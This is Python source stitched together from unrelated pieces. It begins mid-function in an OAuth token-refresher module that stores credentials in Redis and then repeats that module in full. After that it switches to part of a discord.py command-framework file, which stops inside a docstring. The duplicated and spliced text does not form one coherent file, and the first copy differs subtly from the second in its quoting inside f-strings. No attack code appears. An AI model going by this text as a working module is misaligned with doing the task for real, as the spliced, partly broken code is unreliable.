credential-owners/[owner_id]/channels/[channel_id] channel_id = key.split('/')[-1] owner_id = key.split('/')[1] credentials = credentials_dict['value'] try: client_app_id = credentials['client_id'] except KeyError: logger.debug(f'[TokenRefresher] Missing client_id for {key}') continue # Validate if token contain all required data required_keys = {'expiration_date', 'expires_in', 'refresh_token', 'access_token'} if not all(k in credentials for k in required_keys): credentials = self.implementer.auth_response(credentials) self.db.set_credentials(credentials, client_app_id, owner_id, channel_id) if not all(k in credentials for k in required_keys): logger.debug(f'[TokenRefresher] Missing required data for {key}') continue token_expiration_date = credentials['expiration_date'] now = int(time.time()) if now >= (token_expiration_date - self.before_expires): logger.info(f"[TokenRefresher] Refreshing token {key}") logger.info(f"[TokenRefresher] client_app_id: {client_app_id}; owner_id: {owner_id}; " f"channel_id: {channel_id}") params = "grant_type=refresh_token&client_id={client_id}&client_secret={client_secret}" \ "&refresh_token=" + refresh_token refresh_headers = self.implementer.get_headers(credentials, headers) data = { "location": { "method": "POST", "url": f'{url}?{params}', "headers": refresh_headers } } request_headers = { "Authorization": f"Bearer {settings.block["access_token"]}", "X-Client-ID": client_app_id, "X-Owner-ID": owner_id, "X-Channel-ID": channel_id, "X-Refresh-Token": refresh_token } response = requests.request("POST", settings.refresh_token_url, json=data, headers=request_headers) if response.status_code == requests.codes.ok: new_credentials = self.implementer.auth_response(response.json()) new_credentials = self.implementer.update_expiration_date(new_credentials) if 'refresh_token' not in new_credentials: # we need to keep same refresh_token always new_credentials['refresh_token'] = refresh_token if not credentials.get('client_man_id'): credentials, has_error = self.implementer.check_manager_client_id( owner_id, channel_id, credentials, new_credentials) new_credentials['client_man_id'] = credentials.get('client_man_id') logger.debug(f"[TokenRefresher] Update new credentials in DB") self.db.set_credentials(new_credentials, client_app_id, owner_id, channel_id) # Check list size because this could be called from implementer.access_check if len(credentials_list) == 1: logger.debug(f"[TokenRefresher] Trying to find credentials using old refresh token") credentials_list = self.get_credentials_by_refresh_token(credentials['refresh_token']) credentials_list = [cred_ for cred_ in credentials_list if cred_['key'] != key] self.update_credentials(new_credentials, credentials_list) return { 'channel_id': channel_id, 'credentials': new_credentials, 'old_credentials': credentials, 'new': True } elif response.status_code == requests.codes.bad_request and "text" in response.json(): logger.warning(f"[TokenRefresher] channel_id: {channel_id}, {response.json()["text"]}") has_error = True else: logger.warning(f'[TokenRefresher] Error in refresh token request {channel_id} {response}') has_error = True else: logger.debug(f"[TokenRefresher] access token hasn't expired yet {key}") if credentials_list.index(credentials_dict) + 1 < len(credentials_list): logger.debug(f"[TokenRefresher] Will try next credentials in list") continue if not has_error: return { 'channel_id': channel_id, 'credentials': credentials, 'old_credentials': credentials, 'new': False } except Exception: logger.error(f'[TokenRefresher] Unexpected error on send_request for refresh token, ' f'{traceback.format_exc(limit=5)}') def update_all_owners(self, new_credentials, channel_id, ignore_keys=None): ignore_keys = ignore_keys or [] all_owners_credentials = self.db.full_query(f'credential-owners/*/channels/{channel_id}') all_owners_credentials = list(filter(lambda x: x['key'] not in ignore_keys, all_owners_credentials)) all_owners_credentials = self.check_credentials_man_id(all_owners_credentials, new_credentials) error_keys = [cred_['key'] for cred_ in all_owners_credentials if cred_.get('has_error', False) is True] all_owners_credentials = self.filter_credentials(all_owners_credentials, new_credentials.get('client_man_id')) logger.info(f'[update_all_owners] {len(all_owners_credentials)} keys to update for channel {channel_id}') updated_cred = [] if all_owners_credentials: updated_, error_ = self.update_credentials(new_credentials, all_owners_credentials) updated_cred.extend(updated_) updated_cred.extend(ignore_keys) updated_cred.extend(error_) for owner_credentials in all_owners_credentials: owner_id = owner_credentials['key'].split('/')[1] logger.verbose(f'[update_all_owners] Trying to update all credentials for the owner: {owner_id}') updated_cred.extend(self.update_all_channels(new_credentials, owner_id, updated_cred)) return list(set(updated_cred)), list(set(error_keys)) def update_all_channels(self, new_credentials, owner_id, ignore_keys=None): ignore_keys = ignore_keys or [] all_channels_credentials = self.db.full_query(f'credential-owners/{owner_id}/channels/*') all_channels_credentials = list(filter(lambda x: x['key'] not in ignore_keys, all_channels_credentials)) logger.info(f'[update_all_channels] {len(all_channels_credentials)} keys to update for owner {owner_id}') updated_cred = [] if all_channels_credentials: updated_, error_ = self.update_credentials(new_credentials, all_channels_credentials) updated_cred.extend(updated_) ignore_keys.extend(updated_) ignore_keys.extend(error_) for channel_credentials in all_channels_credentials: channel_id = channel_credentials['key'].split('/')[-1] logger.verbose(f'[update_all_channels] Trying to update all credentials for the channel: {channel_id}') updated_, error_keys = self.update_all_owners(new_credentials, channel_id, ignore_keys) updated_cred.extend(updated_) ignore_keys.extend(updated_) ignore_keys.extend(error_) return list(set(updated_cred)) def update_credentials(self, new_credentials, old_credentials_list): """ Update all credentials in old_credentials_list with new_credentials :param new_credentials: dict :param old_credentials_list: [{ 'key': ':credential_key', 'value': :credential_dict }, ...] """ old_credentials_list = self.check_credentials_man_id(old_credentials_list, new_credentials) error_keys = [cred_['key'] for cred_ in old_credentials_list if cred_['has_error'] is True] old_credentials_list = self.filter_credentials(old_credentials_list, new_credentials.get('client_man_id')) updated_credentials = [] logger.info(f'[TokenRefresher] update_credentials: {len(old_credentials_list)} keys to update') for cred_ in old_credentials_list: key = cred_['key'] credentials = cred_['value'] channel_id = key.split('/')[-1] owner_id = key.split('/')[1] client_app_id = credentials.get('client_id', credentials.get('data', {}).get('client_id', '')) client_man_id = credentials.get('client_man_id') # replace client_id in new credentials with current client_app_id and client_man_id # to keep consistence with different apps new_credentials['client_id'] = client_app_id new_credentials['client_man_id'] = client_man_id try: channeltemplate_id = self.channel_relations[channel_id] except KeyError: channeltemplate_id = self.implementer.get_channel_template(channel_id) if channeltemplate_id and \ (settings.config_boot.get('on_pair', {}).get('update_all_channeltemplates', True) or channeltemplate_id == self.channel_template): logger.debug(f'[update_credentials] new credentials {key}') logger.info(f"[update_credentials] client_app_id: {client_app_id}; owner_id: {owner_id}; " f"channel_id: {channel_id}; channeltemplate_id: {channeltemplate_id}") self.channel_relations[channel_id] = channeltemplate_id stored = self.implementer.store_credentials(owner_id, client_app_id, channeltemplate_id, new_credentials) if stored: self.db.set_credentials(new_credentials, client_app_id, owner_id, channel_id) updated_credentials.append(key) else: logger.verbose(f'[update_credentials] Ignoring key {key}') error_keys.append(key) else: logger.verbose(f'[update_credentials] Ignoring key {key}') error_keys.append(key) return list(set(updated_credentials)), list(set(error_keys)) def check_credentials_man_id(self, credentials_check, new_credentials): if type(credentials_check) is not list: credentials_check = [credentials_check] if not credentials_check: return credentials_check for cred_ in credentials_check: key = cred_['key'] cred_value = cred_['value'] channel_id = key.split('/')[-1] owner_id = key.split('/')[1] cred_['value'], cred_['has_error'] = self.implementer.check_manager_client_id( owner_id, channel_id, cred_value, new_credentials) return credentials_check def filter_credentials(self, credentials_list, value, attr='client_man_id', remove_errors=True): credentials_list = list(filter(lambda x: x['value'].get(attr) == value, credentials_list)) if remove_errors: credentials_list = list(filter(lambda x: x.get('has_error', False) is False, credentials_list)) return credentials_list
import concurrent from base import settings, logger from base.redis_db import get_redis from base.utils import rate_limited from base.constants import DEFAULT_REFRESH_INTERVAL, DEFAULT_RATE_LIMIT, DEFAULT_THREAD_MAX_WORKERS, \ DEFAULT_BEFORE_EXPIRES import asyncio import requests import threading import datetime import time import traceback from typing import Iterable class TokenRefresherManager(object): def __init__(self, implementer=None): self.interval = settings.config_refresh.get('interval_seconds', DEFAULT_REFRESH_INTERVAL) # default 60 sec. self.client_id = settings.client_id self.loop = asyncio.new_event_loop() self.before_expires = settings.config_refresh.get('before_expires_seconds', DEFAULT_BEFORE_EXPIRES) self.thread = None self.db = get_redis() self.implementer = implementer self._channel_relations = {} self._channel_template = None @property def channel_relations(self): return self._channel_relations @channel_relations.deleter def channel_relations(self): self.channel_relations.clear() @property def channel_template(self): return self._channel_template @channel_template.setter def channel_template(self, value): self._channel_template = value @channel_template.deleter def channel_template(self): self._channel_template = None def start(self): """ If refreshing token is enabled in config file, retrieves conf for refresh in implementor :return: """ try: if settings.config_refresh.get('enabled') is True: logger.info('[TokenRefresher] **** starting token refresher ****') self.thread = threading.Thread(target=self.worker, args=[self.implementer.get_refresh_token_conf()], name="TokenRefresh") self.thread.daemon = True self.thread.start() else: logger.info('[TokenRefresher] **** token refresher is not enabled ****') except NotImplementedError as e: logger.error("[TokenRefresher] NotImplementedError: {}".format(e)) except Exception: logger.alert("[TokenRefresher] Unexpected exception: {} {}".format(traceback.format_exc(limit=5))) def worker(self, conf_data): asyncio.set_event_loop(self.loop) loop = asyncio.get_event_loop() while True: logger.info('[TokenRefresher] new refresh process {}'.format(datetime.datetime.now())) loop.run_until_complete(self.make_requests(conf_data)) time.sleep(self.interval) del self.channel_relations def get_credentials_by_refresh_token(self, refresh_lookup=None): credentials_redis = self.db.full_query('credential-owners/*/channels/*') credentials = {} for cred_dict in credentials_redis: cred_dict['value'] = self.implementer.auth_response(cred_dict['value']) refresh_token = cred_dict['value'].get('refresh_token') if not refresh_lookup or refresh_lookup == refresh_token: try: credentials[refresh_token].append(cred_dict) except KeyError: credentials[refresh_token] = [cred_dict] return credentials if not refresh_lookup or refresh_lookup not in credentials else credentials[refresh_lookup] async def make_requests(self, conf_data: dict): try: logger.info("[TokenRefresher] {} starting {}".format(threading.currentThread().getName(), datetime.datetime.now())) loop = asyncio.get_event_loop() with concurrent.futures.ThreadPoolExecutor(max_workers=DEFAULT_THREAD_MAX_WORKERS) as executor: futures = [ loop.run_in_executor( executor, self.send_request, refresh_token, credentials, conf_data ) for refresh_token, credentials in self.get_credentials_by_refresh_token().items() ] for response in await asyncio.gather(*futures): if response: self.implementer.after_refresh(response) logger.info("[TokenRefresher] {} finishing {}".format(threading.currentThread().getName(), datetime.datetime.now())) except Exception: logger.error(f"[TokenRefresher] Error on make_requests: {traceback.format_exc(limit=5)}") @rate_limited(settings.config_refresh.get('rate_limit', DEFAULT_RATE_LIMIT)) def send_request(self, refresh_token, credentials_list, conf): try: if credentials_list and type(credentials_list) is not list: credentials_list = [credentials_list] if not credentials_list: return try: url = conf['url'] except KeyError as e: logger.error(f'[TokenRefresher] Missing key {e} on refresh conf') return if not url: logger.warning(f'[TokenRefresher] Missing URL conf: {conf}') return headers = conf.get('headers', {}) # try refresh with all credentials in credentials_list until find a valid one for credentials_dict in credentials_list: has_error = False key = credentials_dict['key'] # credential-owners/[owner_id]/channels/[channel_id] channel_id = key.split('/')[-1] owner_id = key.split('/')[1] credentials = credentials_dict['value'] try: client_app_id = credentials['client_id'] except KeyError: logger.debug(f'[TokenRefresher] Missing client_id for {key}') continue # Validate if token contain all required data required_keys = {'expiration_date', 'expires_in', 'refresh_token', 'access_token'} if not all(k in credentials for k in required_keys): credentials = self.implementer.auth_response(credentials) self.db.set_credentials(credentials, client_app_id, owner_id, channel_id) if not all(k in credentials for k in required_keys): logger.debug(f'[TokenRefresher] Missing required data for {key}') continue token_expiration_date = credentials['expiration_date'] now = int(time.time()) if now >= (token_expiration_date - self.before_expires): logger.info(f"[TokenRefresher] Refreshing token {key}") logger.info(f"[TokenRefresher] client_app_id: {client_app_id}; owner_id: {owner_id}; " f"channel_id: {channel_id}") params = "grant_type=refresh_token&client_id={client_id}&client_secret={client_secret}" \ "&refresh_token=" + refresh_token refresh_headers = self.implementer.get_headers(credentials, headers) data = { "location": { "method": "POST", "url": f'{url}?{params}', "headers": refresh_headers } } request_headers = { "Authorization": f"Bearer {settings.block['access_token']}", "X-Client-ID": client_app_id, "X-Owner-ID": owner_id, "X-Channel-ID": channel_id, "X-Refresh-Token": refresh_token } response = requests.request("POST", settings.refresh_token_url, json=data, headers=request_headers) if response.status_code == requests.codes.ok: new_credentials = self.implementer.auth_response(response.json()) new_credentials = self.implementer.update_expiration_date(new_credentials) if 'refresh_token' not in new_credentials: # we need to keep same refresh_token always new_credentials['refresh_token'] = refresh_token if not credentials.get('client_man_id'): credentials, has_error = self.implementer.check_manager_client_id( owner_id, channel_id, credentials, new_credentials) new_credentials['client_man_id'] = credentials.get('client_man_id') logger.debug(f"[TokenRefresher] Update new credentials in DB") self.db.set_credentials(new_credentials, client_app_id, owner_id, channel_id) # Check list size because this could be called from implementer.access_check if len(credentials_list) == 1: logger.debug(f"[TokenRefresher] Trying to find credentials using old refresh token") credentials_list = self.get_credentials_by_refresh_token(credentials['refresh_token']) credentials_list = [cred_ for cred_ in credentials_list if cred_['key'] != key] self.update_credentials(new_credentials, credentials_list) return { 'channel_id': channel_id, 'credentials': new_credentials, 'old_credentials': credentials, 'new': True } elif response.status_code == requests.codes.bad_request and "text" in response.json(): logger.warning(f"[TokenRefresher] channel_id: {channel_id}, {response.json()['text']}") has_error = True else: logger.warning(f'[TokenRefresher] Error in refresh token request {channel_id} {response}') has_error = True else: logger.debug(f"[TokenRefresher] access token hasn't expired yet {key}") if credentials_list.index(credentials_dict) + 1 < len(credentials_list): logger.debug(f"[TokenRefresher] Will try next credentials in list") continue if not has_error: return { 'channel_id': channel_id, 'credentials': credentials, 'old_credentials': credentials, 'new': False } except Exception: logger.error(f'[TokenRefresher] Unexpected error on send_request for refresh token, ' f'{traceback.format_exc(limit=5)}') def update_all_owners(self, new_credentials, channel_id, ignore_keys=None): ignore_keys = ignore_keys or [] all_owners_credentials = self.db.full_query(f'credential-owners/*/channels/{channel_id}') all_owners_credentials = list(filter(lambda x: x['key'] not in ignore_keys, all_owners_credentials)) all_owners_credentials = self.check_credentials_man_id(all_owners_credentials, new_credentials) error_keys = [cred_['key'] for cred_ in all_owners_credentials if cred_.get('has_error', False) is True] all_owners_credentials = self.filter_credentials(all_owners_credentials, new_credentials.get('client_man_id')) logger.info(f'[update_all_owners] {len(all_owners_credentials)} keys to update for channel {channel_id}') updated_cred = [] if all_owners_credentials: updated_, error_ = self.update_credentials(new_credentials, all_owners_credentials) updated_cred.extend(updated_) updated_cred.extend(ignore_keys) updated_cred.extend(error_) for owner_credentials in all_owners_credentials: owner_id = owner_credentials['key'].split('/')[1] logger.verbose(f'[update_all_owners] Trying to update all credentials for the owner: {owner_id}') updated_cred.extend(self.update_all_channels(new_credentials, owner_id, updated_cred)) return list(set(updated_cred)), list(set(error_keys)) def update_all_channels(self, new_credentials, owner_id, ignore_keys=None): ignore_keys = ignore_keys or [] all_channels_credentials = self.db.full_query(f'credential-owners/{owner_id}/channels/*') all_channels_credentials = list(filter(lambda x: x['key'] not in ignore_keys, all_channels_credentials)) logger.info(f'[update_all_channels] {len(all_channels_credentials)} keys to update for owner {owner_id}') updated_cred = [] if all_channels_credentials: updated_, error_ = self.update_credentials(new_credentials, all_channels_credentials) updated_cred.extend(updated_) ignore_keys.extend(updated_) ignore_keys.extend(error_) for channel_credentials in all_channels_credentials: channel_id = channel_credentials['key'].split('/')[-1] logger.verbose(f'[update_all_channels] Trying to update all credentials for the channel: {channel_id}') updated_, error_keys = self.update_all_owners(new_credentials, channel_id, ignore_keys) updated_cred.extend(updated_) ignore_keys.extend(updated_) ignore_keys.extend(error_) return list(set(updated_cred)) def update_credentials(self, new_credentials, old_credentials_list): """ Update all credentials in old_credentials_list with new_credentials :param new_credentials: dict :param old_credentials_list: [{ 'key': ':credential_key', 'value': :credential_dict }, ...] """ old_credentials_list = self.check_credentials_man_id(old_credentials_list, new_credentials) error_keys = [cred_['key'] for cred_ in old_credentials_list if cred_['has_error'] is True] old_credentials_list = self.filter_credentials(old_credentials_list, new_credentials.get('client_man_id')) updated_credentials = [] logger.info(f'[TokenRefresher] update_credentials: {len(old_credentials_list)} keys to update') for cred_ in old_credentials_list: key = cred_['key'] credentials = cred_['value'] channel_id = key.split('/')[-1] owner_id = key.split('/')[1] client_app_id = credentials.get('client_id', credentials.get('data', {}).get('client_id', '')) client_man_id = credentials.get('client_man_id') # replace client_id in new credentials with current client_app_id and client_man_id # to keep consistence with different apps new_credentials['client_id'] = client_app_id new_credentials['client_man_id'] = client_man_id try: channeltemplate_id = self.channel_relations[channel_id] except KeyError: channeltemplate_id = self.implementer.get_channel_template(channel_id) if channeltemplate_id and \ (settings.config_boot.get('on_pair', {}).get('update_all_channeltemplates', True) or channeltemplate_id == self.channel_template): logger.debug(f'[update_credentials] new credentials {key}') logger.info(f"[update_credentials] client_app_id: {client_app_id}; owner_id: {owner_id}; " f"channel_id: {channel_id}; channeltemplate_id: {channeltemplate_id}") self.channel_relations[channel_id] = channeltemplate_id stored = self.implementer.store_credentials(owner_id, client_app_id, channeltemplate_id, new_credentials) if stored: self.db.set_credentials(new_credentials, client_app_id, owner_id, channel_id) updated_credentials.append(key) else: logger.verbose(f'[update_credentials] Ignoring key {key}') error_keys.append(key) else: logger.verbose(f'[update_credentials] Ignoring key {key}') error_keys.append(key) return list(set(updated_credentials)), list(set(error_keys)) def check_credentials_man_id(self, credentials_check, new_credentials): if type(credentials_check) is not list: credentials_check = [credentials_check] if not credentials_check: return credentials_check for cred_ in credentials_check: key = cred_['key'] cred_value = cred_['value'] channel_id = key.split('/')[-1] owner_id = key.split('/')[1] cred_['value'], cred_['has_error'] = self.implementer.check_manager_client_id( owner_id, channel_id, cred_value, new_credentials) return credentials_check def filter_credentials(self, credentials_list, value, attr='client_man_id', remove_errors=True): credentials_list = list(filter(lambda x: x['value'].get(attr) == value, credentials_list)) if remove_errors: credentials_list = list(filter(lambda x: x.get('has_error', False) is False, credentials_list)) return credentials_list
""" The MIT License (MIT) Copyright (c) 2015-present Rapptz Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from __future__ import annotations from typing import ( Any, Callable, Dict, Generator, Generic, Literal, List, Optional, Union, Set, Tuple, TypeVar, Type, TYPE_CHECKING, overload, ) import asyncio import functools import inspect import datetime import discord from .errors import * from .cooldowns import Cooldown, BucketType, CooldownMapping, MaxConcurrency, DynamicCooldownMapping from .converter import run_converters, get_converter from ._types import _BaseCommand from .cog import Cog from .context import Context if TYPE_CHECKING: from typing_extensions import Concatenate, ParamSpec, TypeGuard from discord.message import Message from ._types import ( Coro, CoroFunc, Check, Hook, Error, ) __all__ = ( 'Command', 'Group', 'GroupMixin', 'command', 'group', 'has_role', 'has_permissions', 'has_any_role', 'check', 'check_any', 'before_invoke', 'after_invoke', 'bot_has_role', 'bot_has_permissions', 'bot_has_any_role', 'cooldown', 'dynamic_cooldown', 'max_concurrency', 'dm_only', 'guild_only', 'is_owner', 'is_nsfw', 'has_guild_permissions', 'bot_has_guild_permissions' ) MISSING: Any = discord.utils.MISSING T = TypeVar('T') CogT = TypeVar('CogT', bound='Cog') CommandT = TypeVar('CommandT', bound='Command') ContextT = TypeVar('ContextT', bound='Context') # CHT = TypeVar('CHT', bound='Check') GroupT = TypeVar('GroupT', bound='Group') HookT = TypeVar('HookT', bound='Hook') ErrorT = TypeVar('ErrorT', bound='Error') if TYPE_CHECKING: P = ParamSpec('P') else: P = TypeVar('P') def unwrap_function(function: Callable[..., Any]) -> Callable[..., Any]: partial = functools.partial while True: if hasattr(function, '__wrapped__'): function = function.__wrapped__ elif isinstance(function, partial): function = function.func else: return function def get_signature_parameters(function: Callable[..., Any], globalns: Dict[str, Any]) -> Dict[str, inspect.Parameter]: signature = inspect.signature(function) params = {} cache: Dict[str, Any] = {} eval_annotation = discord.utils.evaluate_annotation for name, parameter in signature.parameters.items(): annotation = parameter.annotation if annotation is parameter.empty: params[name] = parameter continue if annotation is None: params[name] = parameter.replace(annotation=type(None)) continue annotation = eval_annotation(annotation, globalns, globalns, cache) params[name] = parameter.replace(annotation=annotation) return params def wrap_callback(coro): @functools.wraps(coro) async def wrapped(*args, **kwargs): try: ret = await coro(*args, **kwargs) except CommandError: raise except asyncio.CancelledError: return except Exception as exc: raise CommandInvokeError(exc) from exc return ret return wrapped def hooked_wrapped_callback(command, ctx, coro): @functools.wraps(coro) async def wrapped(*args, **kwargs): try: ret = await coro(*args, **kwargs) except CommandError: ctx.command_failed = True raise except asyncio.CancelledError: ctx.command_failed = True return except Exception as exc: ctx.command_failed = True raise CommandInvokeError(exc) from exc finally: if command._max_concurrency is not None: await command._max_concurrency.release(ctx) await command.call_after_hooks(ctx) return ret return wrapped class _CaseInsensitiveDict(dict): def __contains__(self, k): return super().__contains__(k.casefold()) def __delitem__(self, k): return super().__delitem__(k.casefold()) def __getitem__(self, k): return super().__getitem__(k.casefold()) def get(self, k, default=None): return super().get(k.casefold(), default) def pop(self, k, default=None): return super().pop(k.casefold(), default) def __setitem__(self, k, v): super().__setitem__(k.casefold(), v) class Command(_BaseCommand, Generic[CogT, P, T]): r"""A class that implements the protocol for a bot text command. These are not created manually, instead they are created via the decorator or functional interface. Attributes ----------- name: :class:`str` The name of the command. callback: :ref:`coroutine <coroutine>` The coroutine that is executed when the command is called. help: Optional[:class:`str`] The long help text for the command. brief: Optional[:class:`str`] The short help text for the command. usage: Optional[:class:`str`] A replacement for arguments in the default help text. aliases: Union[List[:class:`str`], Tuple[:class:`str`]] The list of aliases the command can be invoked under. enabled: :class:`bool` A boolean that indicates if the command is currently enabled. If the command is invoked while it is disabled, then :exc:`.DisabledCommand` is raised to the :func:`.on_command_error` event. Defaults to ``True``. parent: Optional[:class:`Group`] The parent group that this command belongs to. ``None`` if there isn't one. cog: Optional[:class:`Cog`] The cog that this command belongs to. ``None`` if there isn't one. checks: List[Callable[[:class:`.Context`], :class:`bool`]] A list of predicates that verifies if the command could be executed with the given :class:`.Context` as the sole parameter. If an exception is necessary to be thrown to signal failure, then one inherited from :exc:`.CommandError` should be used. Note that if the checks fail then :exc:`.CheckFailure` exception is raised to the :func:`.on_command_error` event. description: :class:`str` The message prefixed into the default help command. hidden: :class:`bool` If ``True``\, the default help command does not show this in the help output. rest_is_raw: :class:`bool` If ``False`` and a keyword-only argument is provided then the keyword only argument is stripped and handled as if it was a regular argument that handles :exc:`.MissingRequiredArgument` and default values in a regular matter rather than passing the rest completely raw. If ``True`` then the keyword-only argument will pass in the rest of the arguments in a completely raw matter. Defaults to ``False``. invoked_subcommand: Optional[:class:`Command`] The subcommand that was invoked, if any. require_var_positional: :class:`bool` If ``True`` and a variadic positional argument is specified, requires the user to specify at least one argument. Defaults to ``False``. .. versionadded:: 1.5 ignore_extra: :class:`bool` If ``True``\, ignores extraneous strings passed to a command if all its requirements are met (e.g. ``?foo a b c`` when only expecting ``a`` and ``b``). Otherwise :func:`.on_command_error` and local error handlers are called with :exc:`.TooManyArguments`. Defaults to ``True``. cooldown_after_parsing: :class:`bool` If ``True``\, cooldown processing is done after argument parsing, which calls converters. If ``False`` then cooldown processing is done first and then the converters are called second. Defaults to ``False``. extras: :class:`dict` A dict of user provided extras to attach to the Command. .. note:: This object may be copied by the library. .. versionadded:: 2.0 """ __original_kwargs__: Dict[str, Any] def __new__(cls: Type[CommandT], *args: Any, **kwargs: Any) -> CommandT: # if you're wondering why this is done, it's because we need to ensure # we have a complete original copy of **kwargs even for classes that # mess with it by popping before delegating to the subclass __init__. # In order to do this, we need to control the instance creation and # inject the original kwargs through __new__ rather than doing it # inside __init__. self = super().__new__(cls) # we do a shallow copy because it's probably the most common use case. # this could potentially break if someone modifies a list or something # while it's in movement, but for now this is the cheapest and # fastest way to do what we want. self.__original_kwargs__ = kwargs.copy() return self def __init__(self, func: Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ], **kwargs: Any): if not asyncio.iscoroutinefunction(func): raise TypeError('Callback must be a coroutine.') name = kwargs.get('name') or func.__name__ if not isinstance(name, str): raise TypeError('Name of a command must be a string.') self.name: str = name self.callback = func self.enabled: bool = kwargs.get('enabled', True) help_doc = kwargs.get('help') if help_doc is not None: help_doc = inspect.cleandoc(help_doc) else: help_doc = inspect.getdoc(func) if isinstance(help_doc, bytes): help_doc = help_doc.decode('utf-8') self.help: Optional[str] = help_doc self.brief: Optional[str] = kwargs.get('brief') self.usage: Optional[str] = kwargs.get('usage') self.rest_is_raw: bool = kwargs.get('rest_is_raw', False) self.aliases: Union[List[str], Tuple[str]] = kwargs.get('aliases', []) self.extras: Dict[str, Any] = kwargs.get('extras', {}) if not isinstance(self.aliases, (list, tuple)): raise TypeError("Aliases of a command must be a list or a tuple of strings.") self.description: str = inspect.cleandoc(kwargs.get('description', '')) self.hidden: bool = kwargs.get('hidden', False) try: checks = func.__commands_checks__ checks.reverse() except AttributeError: checks = kwargs.get('checks', []) self.checks: List[Check] = checks try: cooldown = func.__commands_cooldown__ except AttributeError: cooldown = kwargs.get('cooldown') if cooldown is None: buckets = CooldownMapping(cooldown, BucketType.default) elif isinstance(cooldown, CooldownMapping): buckets = cooldown else: raise TypeError("Cooldown must be a an instance of CooldownMapping or None.") self._buckets: CooldownMapping = buckets try: max_concurrency = func.__commands_max_concurrency__ except AttributeError: max_concurrency = kwargs.get('max_concurrency') self._max_concurrency: Optional[MaxConcurrency] = max_concurrency self.require_var_positional: bool = kwargs.get('require_var_positional', False) self.ignore_extra: bool = kwargs.get('ignore_extra', True) self.cooldown_after_parsing: bool = kwargs.get('cooldown_after_parsing', False) self.cog: Optional[CogT] = None # bandaid for the fact that sometimes parent can be the bot instance parent = kwargs.get('parent') self.parent: Optional[GroupMixin] = parent if isinstance(parent, _BaseCommand) else None # type: ignore self._before_invoke: Optional[Hook] = None try: before_invoke = func.__before_invoke__ except AttributeError: pass else: self.before_invoke(before_invoke) self._after_invoke: Optional[Hook] = None try: after_invoke = func.__after_invoke__ except AttributeError: pass else: self.after_invoke(after_invoke) @property def callback(self) -> Union[ Callable[Concatenate[CogT, Context, P], Coro[T]], Callable[Concatenate[Context, P], Coro[T]], ]: return self._callback @callback.setter def callback(self, function: Union[ Callable[Concatenate[CogT, Context, P], Coro[T]], Callable[Concatenate[Context, P], Coro[T]], ]) -> None: self._callback = function unwrap = unwrap_function(function) self.module = unwrap.__module__ try: globalns = unwrap.__globals__ except AttributeError: globalns = {} self.params = get_signature_parameters(function, globalns) def add_check(self, func: Check) -> None: """Adds a check to the command. This is the non-decorator interface to :func:`.check`. .. versionadded:: 1.3 Parameters ----------- func The function that will be used as a check. """ self.checks.append(func) def remove_check(self, func: Check) -> None: """Removes a check from the command. This function is idempotent and will not raise an exception if the function is not in the command's checks. .. versionadded:: 1.3 Parameters ----------- func The function to remove from the checks. """ try: self.checks.remove(func) except ValueError: pass def update(self, **kwargs: Any) -> None: """Updates :class:`Command` instance with updated attribute. This works similarly to the :func:`.command` decorator in terms of parameters in that they are passed to the :class:`Command` or subclass constructors, sans the name and callback. """ self.__init__(self.callback, **dict(self.__original_kwargs__, **kwargs)) async def __call__(self, context: Context, *args: P.args, **kwargs: P.kwargs) -> T: """|coro| Calls the internal callback that the command holds. .. note:: This bypasses all mechanisms -- including checks, converters, invoke hooks, cooldowns, etc. You must take care to pass the proper arguments and types to this function. .. versionadded:: 1.3 """ if self.cog is not None: return await self.callback(self.cog, context, *args, **kwargs) # type: ignore else: return await self.callback(context, *args, **kwargs) # type: ignore def _ensure_assignment_on_copy(self, other: CommandT) -> CommandT: other._before_invoke = self._before_invoke other._after_invoke = self._after_invoke if self.checks != other.checks: other.checks = self.checks.copy() if self._buckets.valid and not other._buckets.valid: other._buckets = self._buckets.copy() if self._max_concurrency != other._max_concurrency: # _max_concurrency won't be None at this point other._max_concurrency = self._max_concurrency.copy() # type: ignore try: other.on_error = self.on_error except AttributeError: pass return other def copy(self: CommandT) -> CommandT: """Creates a copy of this command. Returns -------- :class:`Command` A new instance of this command. """ ret = self.__class__(self.callback, **self.__original_kwargs__) return self._ensure_assignment_on_copy(ret) def _update_copy(self: CommandT, kwargs: Dict[str, Any]) -> CommandT: if kwargs: kw = kwargs.copy() kw.update(self.__original_kwargs__) copy = self.__class__(self.callback, **kw) return self._ensure_assignment_on_copy(copy) else: return self.copy() async def dispatch_error(self, ctx: Context, error: Exception) -> None: ctx.command_failed = True cog = self.cog try: coro = self.on_error except AttributeError: pass else: injected = wrap_callback(coro) if cog is not None: await injected(cog, ctx, error) else: await injected(ctx, error) try: if cog is not None: local = Cog._get_overridden_method(cog.cog_command_error) if local is not None: wrapped = wrap_callback(local) await wrapped(ctx, error) finally: ctx.bot.dispatch('command_error', ctx, error) async def transform(self, ctx: Context, param: inspect.Parameter) -> Any: #TODO : Raise proper Exception when dev has wrong arguments converter = get_converter(param) matchs = [arg for arg in ctx.interaction.data['options'] if arg["name"] == param.name] if len(matchs) == 1: return await run_converters(ctx, converter, matchs[0]['value'], param) # type: ignore else: return None @property def clean_params(self) -> Dict[str, inspect.Parameter]: """Dict[:class:`str`, :class:`inspect.Parameter`]: Retrieves the parameter dictionary without the context or self parameters. Useful for inspecting signature. """ result = self.params.copy() if self.cog is not None: # first parameter is self try: del result[next(iter(result))] except StopIteration: raise ValueError("missing 'self' parameter") from None try: # first/second parameter is context del result[next(iter(result))] except StopIteration: raise ValueError("missing 'context' parameter") from None return result @property def full_parent_name(self) -> str: """:class:`str`: Retrieves the fully qualified parent command name. This the base command name required to execute it. For example, in 